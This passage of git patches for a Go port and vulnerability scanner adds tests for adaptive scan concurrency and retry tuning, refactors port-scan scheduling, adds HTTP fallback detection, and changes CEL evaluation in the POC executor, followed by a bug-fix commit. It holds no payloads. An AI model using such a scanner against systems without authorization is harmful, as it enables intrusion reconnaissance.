session := makeTestSession(config) + + ep := &EnvironmentProfile{ + Net: NetworkProfile{ + Env: EnvLAN, + RTTMedian: 1 * time.Millisecond, + RTTStddev: 500 * time.Microsecond, + LossRate: 0.0, + Samples: 30, + }, + System: SystemProfile{FDLimit: 256, NumCPU: 4}, + } + + ep.TuneConfig(config, session) + + maxFD := 256 * 6 / 10 + if config.ThreadNum > maxFD { + t.Errorf("ThreadNum(%d) 超过 fd 限制(%d)", config.ThreadNum, maxFD) + } + if config.ThreadCeiling > maxFD { + t.Errorf("ThreadCeiling(%d) 超过 fd 限制(%d)", config.ThreadCeiling, maxFD) + } +} + +// ============================================================================= +// 优化 2:RTT 漂移微调 target +// ============================================================================= + +func TestOpt2_RTTDriftReducesTarget(t *testing.T) { + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(200, 400, func(interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + pool.inSlowStart = false + pool.tune(200) + + // 建立基线:slow EMA 锚定在 1ms 附近 + for i := 0; i < 500; i++ { + metrics.RecordConnect(1 * time.Millisecond) + } + + origTarget := atomic.LoadInt32(&pool.target) + + // RTT 突增到 100ms(100 倍),大量喂入让 fast EMA 拉开差距 + for i := 0; i < 1000; i++ { + metrics.RecordConnect(100 * time.Millisecond) + } + + ratio := metrics.RTTRatio() + t.Logf("RTT ratio after spike: %.2f", ratio) + + if ratio <= 3.0 { + t.Skipf("RTT ratio=%.2f,EMA 差距不够大,跳过", ratio) + } + + // 需要足够的新 metrics 让 assessHealth 的 deltaTotal >= 30 + for i := 0; i < 50; i++ { + metrics.RecordConnect(100 * time.Millisecond) + } + + // 多次 adjust 触发 maybeReduceTarget + for i := 0; i < 10; i++ { + pool.lastCheck.Store(0) + pool.prevSnapshot = MetricsSnapshot{} // 重置快照让 delta 足够 + pool.adjust() + } + + newTarget := atomic.LoadInt32(&pool.target) + if newTarget >= origTarget { + t.Errorf("RTT 漂移后 target 应降低: %d -> %d (ratio=%.2f)", origTarget, newTarget, ratio) + } + + // 不应低于 ceiling/5 + minTarget := atomic.LoadInt32(&pool.ceiling) / 5 + if newTarget < minTarget { + t.Errorf("target(%d) 低于下限(%d)", newTarget, minTarget) + } + + t.Logf("RTT drift: ratio=%.2f, target %d -> %d (min=%d)", ratio, origTarget, newTarget, minTarget) +} + +func TestOpt2_NoReductionWhenStable(t *testing.T) { + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(200, 400, func(interface{}) {}, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + pool.inSlowStart = false + pool.tune(200) + + // 稳定 RTT + for i := 0; i < 200; i++ { + metrics.RecordConnect(10 * time.Millisecond) + } + + origTarget := atomic.LoadInt32(&pool.target) + + for i := 0; i < 10; i++ { + pool.lastCheck.Store(0) + pool.adjust() + } + + newTarget := atomic.LoadInt32(&pool.target) + if newTarget != origTarget { + t.Errorf("稳定 RTT 不应改变 target: %d -> %d", origTarget, newTarget) + } +} + +// ============================================================================= +// 优化 3:assessHealth 阈值跟 NetworkEnv 关联 +// ============================================================================= + +func TestOpt3_LANTighterThresholds(t *testing.T) { + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(100, 100, func(interface{}) {}, metrics, EnvLAN) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + pool.inSlowStart = false + pool.tune(100) + + // 10% exhaust rate — 对 LAN 来说应该是 Congested(阈值 8%) + for i := 0; i < 100; i++ { + if i < 10 { + metrics.RecordExhausted() + } else { + metrics.RecordConnect(time.Millisecond) + } + } + + pool.lastCheck.Store(0) + pool.adjust() + + if pool.Cap() >= 100 { + t.Errorf("LAN 10%% exhaust 应触发降速: cap=%d", pool.Cap()) + } + + t.Logf("LAN tight threshold: cap=%d (from 100)", pool.Cap()) +} + +func TestOpt3_InternetLooseThresholds(t *testing.T) { + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(100, 100, func(interface{}) {}, metrics, EnvInternet) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + pool.inSlowStart = false + pool.tune(100) + + // 10% exhaust rate — 对 Internet 来说不算 Congested(阈值 25%),应是 Stressed + for i := 0; i < 100; i++ { + if i < 10 { + metrics.RecordExhausted() + } else { + metrics.RecordConnect(10 * time.Millisecond) + } + } + + pool.lastCheck.Store(0) + pool.adjust() + capAfter := pool.Cap() + + // Internet 对 10% exhaust 只是 Stressed(×0.85),不是 Congested(×0.5) + if capAfter < 80 { + t.Errorf("Internet 10%% exhaust 不应大幅降速: cap=%d", capAfter) + } + + t.Logf("Internet loose threshold: cap=%d (from 100)", capAfter) +} + +func TestOpt3_EnvAffectsHealthDecision(t *testing.T) { + envs := []struct { + env NetworkEnv + name string + }{ + {EnvLAN, "LAN"}, + {EnvWAN, "WAN"}, + {EnvInternet, "Internet"}, + } + + var caps []int + + for _, e := range envs { + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(100, 100, func(interface{}) {}, metrics, e.env) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + + pool.inSlowStart = false + pool.tune(100) + + // 相同的 12% exhaust rate + for i := 0; i < 100; i++ { + if i < 12 { + metrics.RecordExhausted() + } else { + metrics.RecordConnect(time.Millisecond) + } + } + + pool.lastCheck.Store(0) + pool.adjust() + caps = append(caps, pool.Cap()) + pool.Release() + + t.Logf("%s: cap=%d (12%% exhaust)", e.name, caps[len(caps)-1]) + } + + // LAN 反应最激烈(cap 最低),Internet 最宽容(cap 最高) + if caps[0] >= caps[2] { + t.Errorf("LAN cap(%d) 应 < Internet cap(%d) for same exhaust rate", caps[0], caps[2]) + } +} + +// ============================================================================= +// 优化 4:去掉 semaphore,ants 池天然反压 +// ============================================================================= + +func TestOpt4_SemaphoreRemoved(t *testing.T) { + // 验证 portScanTask 结构体不再有 semaphore 字段 + // 如果 semaphore 被加回来,这段代码编译就会报 "unknown field" + _ = portScanTask{ + host: "127.0.0.1", + port: 80, + addr: "127.0.0.1:80", + } + t.Log("portScanTask 无 semaphore 字段,反压由 ants pool 统一管理") +} + +// ============================================================================= +// 优化 5:扩充探测端口 +// ============================================================================= + +func TestOpt5_ProbePortsExpanded(t *testing.T) { + if len(probePorts) < 5 { + t.Errorf("probePorts 只有 %d 个,应该扩充到至少 5 个", len(probePorts)) + } + + // 验证包含关键端口 + required := map[int]bool{80: false, 443: false, 22: false} + for _, p := range probePorts { + if _, ok := required[p]; ok { + required[p] = true + } + } + for port, found := range required { + if !found { + t.Errorf("probePorts 缺少关键端口 %d", port) + } + } + + // 验证没有重复 + seen := make(map[int]bool) + for _, p := range probePorts { + if seen[p] { + t.Errorf("probePorts 有重复端口 %d", p) + } + seen[p] = true + } + + t.Logf("probePorts = %v (%d 个)", probePorts, len(probePorts)) +} + +// ============================================================================= +// 优化 6:computeRetries 环境自适应 +// ============================================================================= + +func TestOpt6_RetriesEnvAware(t *testing.T) { + lossRate := 0.3 // 30% 丢包 + + lanRetry := computeRetries(lossRate, EnvLAN) + wanRetry := computeRetries(lossRate, EnvWAN) + inetRetry := computeRetries(lossRate, EnvInternet) + + // LAN 目标概率更严格(0.5%),应该重试更多;但上限更低(4) + // Internet 目标概率更宽松(2%),应该重试更少;但上限更高(6) + t.Logf("30%% loss: LAN=%d, WAN=%d, Internet=%d", lanRetry, wanRetry, inetRetry) + + if lanRetry < 1 || lanRetry > 4 { + t.Errorf("LAN retry=%d, 应在 [1,4]", lanRetry) + } + if wanRetry < 1 || wanRetry > 5 { + t.Errorf("WAN retry=%d, 应在 [1,5]", wanRetry) + } + if inetRetry < 1 || inetRetry > 6 { + t.Errorf("Internet retry=%d, 应在 [1,6]", inetRetry) + } +} + +func TestOpt6_RetriesMaxByEnv(t *testing.T) { + // 高丢包率,各环境应返回各自上限 + lanMax := computeRetries(0.99, EnvLAN) + wanMax := computeRetries(0.99, EnvWAN) + inetMax := computeRetries(0.99, EnvInternet) + + if lanMax != 4 { + t.Errorf("LAN max retry=%d, want 4", lanMax) + } + if wanMax != 5 { + t.Errorf("WAN max retry=%d, want 5", wanMax) + } + if inetMax != 6 { + t.Errorf("Internet max retry=%d, want 6", inetMax) + } +} + +func TestOpt6_RetriesMathCorrectness(t *testing.T) { + envs := []struct { + env NetworkEnv + targetProb float64 + name string + }{ + {EnvLAN, 0.005, "LAN"}, + {EnvWAN, 0.01, "WAN"}, + {EnvInternet, 0.02, "Internet"}, + } + + for _, e := range envs { + for _, loss := range []float64{0.05, 0.10, 0.20, 0.30} { + retries := computeRetries(loss, e.env) + prob := 1.0 + for i := 0; i < retries; i++ { + prob *= loss + } + // 重试后全失败概率应 < targetProb(除非被 clamp 了) + if prob >= e.targetProb && retries < 4 { + t.Errorf("%s loss=%.0f%% retries=%d: P=%.6f >= %.3f", + e.name, loss*100, retries, prob, e.targetProb) + } + } + } +} + +// ============================================================================= +// 端到端集成:全链路验证 +// ============================================================================= + +func TestOptAll_EndToEnd_LANToPool(t *testing.T) { + // 模拟内网探测 → TuneConfig → 创建池 → 池根据 env 自适应 + profile := classifyNetwork( + makeDurations([]int{1, 1, 2, 2, 2, 3, 3, 3, 4, 5}), + 0, 10, + ) + + config := makeDefaultConfig() + session := makeTestSession(config) + ep := &EnvironmentProfile{Net: *profile, System: SystemProfile{FDLimit: 65536, NumCPU: 8}} + ep.TuneConfig(config, session) + + // 验证 env 被存储 + if config.DetectedNetworkEnv != int(EnvLAN) { + t.Errorf("DetectedNetworkEnv=%d, want %d(LAN)", config.DetectedNetworkEnv, int(EnvLAN)) + } + + // 验证 ceiling 合理 + if config.ThreadCeiling < config.ThreadNum { + t.Errorf("ceiling(%d) < target(%d)", config.ThreadCeiling, config.ThreadNum) + } + + // 创建池并验证 env 传递 + netEnv := NetworkEnv(config.DetectedNetworkEnv) + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(config.ThreadNum, config.ThreadCeiling, func(interface{}) {}, metrics, netEnv) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + if pool.networkEnv != EnvLAN { + t.Errorf("池的 networkEnv=%v, want LAN", pool.networkEnv) + } + + t.Logf("端到端 LAN: target=%d ceiling=%d env=%v maxRetry=%d", + config.ThreadNum, config.ThreadCeiling, netEnv, config.MaxRetries) +} + +func TestOptAll_EndToEnd_InternetToPool(t *testing.T) { + profile := classifyNetwork( + makeDurations([]int{60, 70, 80, 90, 100, 110, 120, 130, 140, 150}), + 0, 10, + ) + + config := makeDefaultConfig() + session := makeTestSession(config) + ep := &EnvironmentProfile{Net: *profile, System: SystemProfile{FDLimit: 4096, NumCPU: 4}} + ep.TuneConfig(config, session) + + if config.DetectedNetworkEnv != int(EnvInternet) { + t.Errorf("DetectedNetworkEnv=%d, want %d(Internet)", config.DetectedNetworkEnv, int(EnvInternet)) + } + + // 公网 target 应明显低于默认 600 + if config.ThreadNum >= 600 { + t.Errorf("公网 threadNum=%d, 应 < 600", config.ThreadNum) + } + + // ceiling 应 == target(非显式模式) + if config.ThreadCeiling != config.ThreadNum { + t.Errorf("非显式模式 ceiling(%d) != target(%d)", config.ThreadCeiling, config.ThreadNum) + } + + netEnv := NetworkEnv(config.DetectedNetworkEnv) + metrics := &ScanMetrics{} + pool, err := NewAdaptivePool(config.ThreadNum, config.ThreadCeiling, func(interface{}) {}, metrics, netEnv) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + // 注入 12% exhaust,Internet 环境应只是 Stressed 而不是 Congested + pool.inSlowStart = false + pool.tune(config.ThreadNum) + for i := 0; i < 100; i++ { + if i < 12 { + metrics.RecordExhausted() + } else { + metrics.RecordConnect(80 * time.Millisecond) + } + } + pool.lastCheck.Store(0) + pool.adjust() + + // cap 不应被砍到一半以下(Stressed 只降 15%) + if pool.Cap() < config.ThreadNum*7/10 { + t.Errorf("Internet 12%% exhaust 降速过猛: %d -> %d", config.ThreadNum, pool.Cap()) + } + + t.Logf("端到端 Internet: target=%d ceiling=%d cap_after_stress=%d", + config.ThreadNum, config.ThreadCeiling, pool.Cap()) +} + diff --git a/core/port_scan.go b/core/port_scan.go index 6726b04..6f71fe4 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -101,10 +101,9 @@ func (c *resultCollector) GetAll() []string { // portScanTask 端口扫描任务(轻量级,用于滑动窗口调度) type portScanTask struct { - host string - port int - addr string // 预格式化的 host:port,避免 fmt.Sprintf 热路径分配 - semaphore chan struct{} // 完成时释放窗口槽位 + host string + port int + addr string // 预格式化的 host:port,避免 fmt.Sprintf 热路径分配 } // failedPortInfo 失败端口信息 @@ -216,20 +215,22 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout failedCollector := &failedPortCollector{} var wg sync.WaitGroup + ceiling := config.ThreadCeiling + if ceiling < threadNum { + ceiling = threadNum + } + netEnv := NetworkEnv(config.DetectedNetworkEnv) session.LogDebug(i18n.Tr("port_scan_debug_pool_create", threadNum)) - pool, err := NewAdaptivePool(threadNum, threadNum, func(task interface{}) { + pool, err := NewAdaptivePool(threadNum, ceiling, func(task interface{}) { taskInfo, ok := task.(portScanTask) if !ok { return } - defer func() { - <-taskInfo.semaphore // 释放窗口槽位 - wg.Done() - }() + defer wg.Done() scanSinglePort(ctx, taskInfo.host, taskInfo.port, taskInfo.addr, adaptiveTO, metrics, &count, collector, failedCollector, session) common.UpdateProgressBar(1) - }, metrics) + }, metrics, netEnv) if err != nil { session.LogError(i18n.Tr("thread_pool_create_failed", err)) if stream != nil { @@ -242,7 +243,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout session.LogDebug(i18n.GetText("port_scan_debug_schedule_start")) // 滑动窗口调度 - slidingWindowSchedule(iter, pool, &wg, threadNum) + slidingWindowSchedule(iter, pool, &wg) session.LogDebug(i18n.GetText("port_scan_debug_schedule_done")) // 收集结果 @@ -287,30 +288,21 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout } // slidingWindowSchedule 滑动窗口调度器 -// 核心思想:维护固定数量的"飞行中"任务,一个完成立即补充新的 -// 优势:避免任务队列堆积,内存使用恒定 -func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.WaitGroup, windowSize int) { - // 使用信号量控制窗口大小 - semaphore := make(chan struct{}, windowSize) - +// ants.PoolWithFunc.Invoke 在池满时阻塞,天然提供反压,无需额外 semaphore +func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.WaitGroup) { for { host, port, ok := iter.Next() if !ok { break } - // 获取窗口槽位(阻塞直到有空位) - semaphore <- struct{}{} - wg.Add(1) task := portScanTask{ - host: host, - port: port, - addr: net.JoinHostPort(host, fmtPort(port)), - semaphore: semaphore, + host: host, + port: port, + addr: net.JoinHostPort(host, fmtPort(port)), } if err := pool.Invoke(task); err != nil { - <-semaphore wg.Done() } } @@ -725,6 +717,14 @@ func processServiceResult(ctx context.Context, host string, port int, addr strin details := buildServiceDetails(port, serviceInfo) isWeb := IsWebServiceByFingerprint(serviceInfo) + // 指纹既不匹配 webKeywords 也不匹配 nonWebKeywords(不确定区间) + // 补做一次 HTTP 探测,覆盖自定义 HTTP 框架等漏网场景 + if !isWeb && !isDefinitelyNonWeb(serviceInfo) { + if tryHTTPFallbackDetection(ctx, host, port, addr, config, session) { + isWeb = true + } + } + if isWeb { details["is_web"] = true } diff --git a/core/scan_metrics.go b/core/scan_metrics.go index 557e1b3..9a502a7 100644 --- a/core/scan_metrics.go +++ b/core/scan_metrics.go @@ -1,6 +1,7 @@ package core import ( + "runtime" "sync/atomic" "time" ) @@ -55,12 +56,14 @@ func updateEMA(target *atomic.Int64, sample int64, divisor int64) { if target.CompareAndSwap(0, sample) { return } + runtime.Gosched() continue } next := old + (sample-old)/divisor if target.CompareAndSwap(old, next) { return } + runtime.Gosched() } } diff --git a/core/web_scanner.go b/core/web_scanner.go index d2b4dab..d26437e 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -264,6 +264,21 @@ func IsWebServiceByFingerprint(serviceInfo *ServiceInfo) bool { return false } +// isDefinitelyNonWeb 判断服务是否明确不是 Web 服务 +// 只检查 nonWebKeywords,不在里面 = 不确定 = 值得做 HTTP 探测 +func isDefinitelyNonWeb(serviceInfo *ServiceInfo) bool { + if serviceInfo == nil || serviceInfo.Name == "" { + return false + } + serviceName := strings.ToLower(serviceInfo.Name) + for _, keyword := range nonWebKeywords { + if strings.Contains(serviceName, keyword) { + return true + } + } + return false +} + // CacheServiceInfo 缓存识别到的服务信息 func CacheServiceInfo(host string, port int, serviceInfo *ServiceInfo) { cacheKey := net.JoinHostPort(host, strconv.Itoa(port)) diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index 6eeae8e..f84dd0f 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -28,7 +28,8 @@ import ( // 基础CEL环境缓存(避免重复创建,减少内存分配) var ( - baseEnvOnce sync.Once + baseEnvMu sync.Mutex + baseEnvInited bool baseEnv *cel.Env baseProgramOpt []cel.ProgramOption ) @@ -52,47 +53,49 @@ func NewEnv(c *CustomLib) (*cel.Env, error) { return cachedCELEnv, cachedCELEnvErr } -// initBaseEnv 初始化基础CEL环境(只执行一次) +// initBaseEnv 初始化基础CEL环境(失败后允许重试) func initBaseEnv() { - baseEnvOnce.Do(func() { - // 收集所有函数声明 - var allDeclarations []*exprpb.Decl - allDeclarations = append(allDeclarations, registerStringDeclarations()...) - allDeclarations = append(allDeclarations, registerEncodingDeclarations()...) - allDeclarations = append(allDeclarations, registerCryptoDeclarations()...) - allDeclarations = append(allDeclarations, registerRandomDeclarations()...) - allDeclarations = append(allDeclarations, registerMiscDeclarations()...) + baseEnvMu.Lock() + defer baseEnvMu.Unlock() + if baseEnvInited { + return + } - // 收集所有函数实现 - var allImplementations []*functions.Overload - allImplementations = append(allImplementations, registerStringImplementations()...) - allImplementations = append(allImplementations, registerEncodingImplementations()...) - allImplementations = append(allImplementations, registerCryptoImplementations()...) - allImplementations = append(allImplementations, registerRandomImplementations()...) - allImplementations = append(allImplementations, registerMiscImplementations()...) + var allDeclarations []*exprpb.Decl + allDeclarations = append(allDeclarations, registerStringDeclarations()...) + allDeclarations = append(allDeclarations, registerEncodingDeclarations()...) + allDeclarations = append(allDeclarations, registerCryptoDeclarations()...) + allDeclarations = append(allDeclarations, registerRandomDeclarations()...) + allDeclarations = append(allDeclarations, registerMiscDeclarations()...) - // 保存程序选项供后续使用 - //nolint:staticcheck // SA1019: cel.Functions已废弃但CEL库尚未提供替代方案 - baseProgramOpt = []cel.ProgramOption{cel.Functions(allImplementations...)} + var allImplementations []*functions.Overload + allImplementations = append(allImplementations, registerStringImplementations()...) + allImplementations = append(allImplementations, registerEncodingImplementations()...) + allImplementations = append(allImplementations, registerCryptoImplementations()...) + allImplementations = append(allImplementations, registerRandomImplementations()...) + allImplementations = append(allImplementations, registerMiscImplementations()...) - // 创建基础环境 - var err error - baseEnv, err = cel.NewEnv( - cel.Container("lib"), - cel.Types(&UrlType{}, &Request{}, &Response{}, &Reverse{}), - //nolint:staticcheck // SA1019: cel.Declarations已废弃但CEL库尚未提供替代方案 - cel.Declarations( - decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil), - decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil), - decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil), - ), - //nolint:staticcheck // SA1019: cel.Declarations已废弃但CEL库尚未提供替代方案 - cel.Declarations(allDeclarations...), - ) - if err != nil { - common.LogError(i18n.Tr("webscan_cel_init_failed", err)) - } - }) + //nolint:staticcheck // SA1019: cel.Functions已废弃但CEL库尚未提供替代方案 + baseProgramOpt = []cel.ProgramOption{cel.Functions(allImplementations...)} + + var err error + baseEnv, err = cel.NewEnv( + cel.Container("lib"), + cel.Types(&UrlType{}, &Request{}, &Response{}, &Reverse{}), + //nolint:staticcheck // SA1019: cel.Declarations已废弃但CEL库尚未提供替代方案 + cel.Declarations( + decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil), + decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil), + decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil), + ), + //nolint:staticcheck // SA1019: cel.Declarations已废弃但CEL库尚未提供替代方案 + cel.Declarations(allDeclarations...), + ) + if err != nil { + common.LogError(i18n.Tr("webscan_cel_init_failed", err)) + return + } + baseEnvInited = true } // GetBaseEnv 获取基础CEL环境 diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index 30c66b7..bc6be89 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -889,6 +889,12 @@ func evalset(env *cel.Env, variableMap map[string]interface{}, k string, express // evalset1 执行CEL表达式的简化版本 func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (string, error) { + // 纯字面量字符串(无函数调用、运算符、变量引用)直接当值用,跳过 CEL 编译 + // 避免 sets 中的 "sql"、"database" 等被当成 CEL 变量引用产生大量错误日志 + if isPlainLiteral(expression, variableMap) { + variableMap[k] = expression + return expression, nil + } out, err := Evaluate(env, expression, variableMap) if err != nil { variableMap[k] = expression @@ -898,6 +904,26 @@ func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expres return fmt.Sprintf("%v", variableMap[k]), err } +// isPlainLiteral 判断表达式是否是纯字面量值(不需要 CEL 求值) +// 排除法:含 CEL 语法特征(括号、运算符、引号)的需要走 CEL,其余当字面量 +func isPlainLiteral(expr string, variableMap map[string]interface{}) bool { + if expr == "" { + return false + } + // 如果是已声明的变量引用,必须走 CEL 求值 + if _, exists := variableMap[expr]; exists { + return false + } + // 含 CEL 语法特征的需要走 CEL 编译 + for _, c := range expr { + switch c { + case '(', ')', '[', ']', '+', '*', '%', '=', '!', '<', '>', '&', '|', '"', '\'', '?', ':': + return false + } + } + return true +} + // CheckInfoPoc 检查POC信息并返回别名 func CheckInfoPoc(infostr string) string { for _, poc := range fingerprint.PocDatas { From a11549979334a0b118479aec5e0eaf4da65adfdb Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 18:46:14 +0800 Subject: [PATCH 15/29] =?UTF-8?q?fix+perf:=20=E4=BF=AE=E5=A4=8D10=E4=B8=AA?= =?UTF-8?q?bug=20&=2010=E9=A1=B9=E6=80=A7=E8=83=BD=E4=BC=98=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bug修复: - clustersend CEL结果判断从字符串比较改为类型断言 - Nuclei DSL matcher安全降级为false避免误报 - clusterpoc发现漏洞后返回true修正语义 - reverseCheck加10s超时防止ceye API阻塞 - doSearch/bmatches正则编译结果缓存到sync.Map - evalset CEL求值失败时存空字符串而非原始表达式 - CEL wait()函数加nil Reverse指针检查防panic - MongoDB readMongoMsg应用timeout参数设置读超时 - TXTWriter.Close确保Sync失败后仍调用file.Close 性能优化: - 指纹regex缓存从RWMutex+map改为sync.Map消除锁竞争 - CaseInsensitive指纹词加载时预小写化避免匹配时分配 - 版本提取FindAllStringSubmatch限制返回数量 - i18n.Tr用strconv.Itoa替代Sprintf减少分配 - POC加载用atomic.Bool+DCLP消除热路径锁 - 结果缓冲map预分配容量减少rehash - HTTP连接池参数随并发数动态调整 - getRuleHash去除反射+Headers排序保证确定性dedup - POC并发加载用channel替代Mutex收集结果 --- common/i18n/i18n.go | 5 +- common/output/buffer.go | 8 +-- common/output/writers.go | 12 +++-- plugins/services/mongodb.go | 3 ++ webscan/fingerprint/enhanced.go | 81 ++++++++++++++-------------- webscan/fingerprint/enhanced_test.go | 2 +- webscan/lib/Client.go | 22 ++++++-- webscan/lib/Eval.go | 8 ++- webscan/lib/eval_misc.go | 2 +- webscan/lib/eval_string.go | 16 ++++-- webscan/lib/poc_adapter.go | 4 +- webscan/lib/poc_executor.go | 57 ++++++++++++++------ webscan/web_scan.go | 60 ++++++++++----------- 13 files changed, 169 insertions(+), 111 deletions(-) diff --git a/common/i18n/i18n.go b/common/i18n/i18n.go index e1a0437..580dec1 100644 --- a/common/i18n/i18n.go +++ b/common/i18n/i18n.go @@ -2,6 +2,7 @@ package i18n import ( "fmt" + "strconv" "sync" "github.com/nicksnyder/go-i18n/v2/i18n" @@ -80,9 +81,9 @@ func Tr(key string, args ...interface{}) string { loc := localizer mu.RUnlock() - data := make(map[string]interface{}) + data := make(map[string]interface{}, len(args)) for i, arg := range args { - data[fmt.Sprintf("Arg%d", i+1)] = arg + data["Arg"+strconv.Itoa(i+1)] = arg } msg, err := loc.Localize(&i18n.LocalizeConfig{ diff --git a/common/output/buffer.go b/common/output/buffer.go index 23fa0a0..450e4c3 100644 --- a/common/output/buffer.go +++ b/common/output/buffer.go @@ -22,10 +22,10 @@ type ResultBuffer struct { // NewResultBuffer 创建新的结果缓冲 func NewResultBuffer() *ResultBuffer { return &ResultBuffer{ - seenHosts: make(map[string]struct{}), - seenPorts: make(map[string]struct{}), - seenServices: make(map[string]int), - seenVulns: make(map[string]struct{}), + seenHosts: make(map[string]struct{}, 256), + seenPorts: make(map[string]struct{}, 512), + seenServices: make(map[string]int, 128), + seenVulns: make(map[string]struct{}, 64), } } diff --git a/common/output/writers.go b/common/output/writers.go index 114e607..825226b 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -350,13 +350,17 @@ func (w *TXTWriter) Close() error { os.Remove(w.realtimePath) } + var firstErr error if err := w.bufWriter.Flush(); err != nil { - return err + firstErr = err } - if err := w.file.Sync(); err != nil { - return err + if err := w.file.Sync(); err != nil && firstErr == nil { + firstErr = err } - return w.file.Close() + if err := w.file.Close(); err != nil && firstErr == nil { + firstErr = err + } + return firstErr } // writeSection 写入一个分类的所有结果 diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index 6cad724..afc5456 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -328,6 +328,9 @@ func sendMongoMsg(ctx context.Context, conn io.ReadWriter, body []byte, timeout // readMongoMsg 读取 MongoDB 响应 func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) { + if tc, ok := conn.(interface{ SetReadDeadline(time.Time) error }); ok { + _ = tc.SetReadDeadline(time.Now().Add(timeout)) + } // 读取 16 字节消息头 header := make([]byte, 16) if _, err := io.ReadFull(conn, header); err != nil { diff --git a/webscan/fingerprint/enhanced.go b/webscan/fingerprint/enhanced.go index c5591b2..ec376fc 100644 --- a/webscan/fingerprint/enhanced.go +++ b/webscan/fingerprint/enhanced.go @@ -46,9 +46,7 @@ type EnhancedFingerprint struct { // EnhancedFingerprintDB 增强指纹数据库 type EnhancedFingerprintDB struct { Fingerprints []*EnhancedFingerprint - // 预编译的正则表达式缓存 - regexCache map[string]*regexp.Regexp - regexCacheMu sync.RWMutex // 保护regexCache的并发访问 + regexCache sync.Map // pattern → *regexp.Regexp,无锁并发安全 } var ( @@ -63,9 +61,22 @@ func LoadEnhancedFingerprints() error { return fmt.Errorf("%s: %w", i18n.GetText("fingerprint_enhanced_parse_failed"), err) } + // 预处理:CaseInsensitive 的 matcher 预先小写化 Words,避免匹配时重复分配 + for _, fp := range fps { + for hi := range fp.HTTP { + for mi := range fp.HTTP[hi].Matchers { + m := &fp.HTTP[hi].Matchers[mi] + if m.CaseInsensitive && m.Type == "word" { + for wi, w := range m.Words { + m.Words[wi] = strings.ToLower(w) + } + } + } + } + } + enhancedDB = &EnhancedFingerprintDB{ Fingerprints: fps, - regexCache: make(map[string]*regexp.Regexp), } return nil @@ -128,7 +139,7 @@ func MatchEnhancedFingerprints(body []byte, headers string, favicon FaviconHashe } httpRule := fp.HTTP[0] for _, matcher := range httpRule.Matchers { - if matchMatcher(matcher, bodyStr, headers, favicon, enhancedDB.regexCache) { + if matchMatcher(matcher, bodyStr, headers, favicon) { resultCh <- fingerprintMatch{ Name: fp.Info.Name, Priority: calcPriority(fp, matcher.Type), @@ -202,13 +213,13 @@ func matchMatcher(matcher struct { Part string `json:"part"` CaseInsensitive bool `json:"case-insensitive"` Condition string `json:"condition"` -}, body, headers string, favicon FaviconHashes, regexCache map[string]*regexp.Regexp) bool { +}, body, headers string, favicon FaviconHashes) bool { switch matcher.Type { case "word": return matchWords(matcher, body, headers) case "regex": - return matchRegex(matcher, body, headers, regexCache) + return matchRegex(matcher, body, headers) case "favicon": return matchFavicon(matcher, favicon) default: @@ -233,21 +244,19 @@ func matchWords(matcher struct { target = headers } - // 预处理搜索词,避免循环内重复转换 - searchWords := matcher.Words + // CaseInsensitive: target 转小写一次,Words 已在加载时预处理(直接调用时也兼容未预处理的词) if matcher.CaseInsensitive { target = strings.ToLower(target) - searchWords = make([]string, len(matcher.Words)) - for i, w := range matcher.Words { - searchWords[i] = strings.ToLower(w) - } } // 默认condition为or isAnd := matcher.Condition == "and" matchCount := 0 - for _, searchWord := range searchWords { + for _, searchWord := range matcher.Words { + if matcher.CaseInsensitive { + searchWord = strings.ToLower(searchWord) + } if strings.Contains(target, searchWord) { if !isAnd { // OR条件:匹配任一即可 @@ -273,7 +282,7 @@ func matchRegex(matcher struct { Part string `json:"part"` CaseInsensitive bool `json:"case-insensitive"` Condition string `json:"condition"` -}, body, headers string, regexCache map[string]*regexp.Regexp) bool { +}, body, headers string) bool { // 确定匹配目标 target := body @@ -285,33 +294,23 @@ func matchRegex(matcher struct { isAnd := matcher.Condition == "and" for _, pattern := range matcher.Regex { - // 从缓存获取或编译正则(线程安全) + // CaseInsensitive 正则需要前缀 + cacheKey := pattern + if matcher.CaseInsensitive { + cacheKey = "(?i)" + pattern + } + + // 从 sync.Map 缓存获取或编译正则 var re *regexp.Regexp - - // 先尝试读取缓存(读锁) - 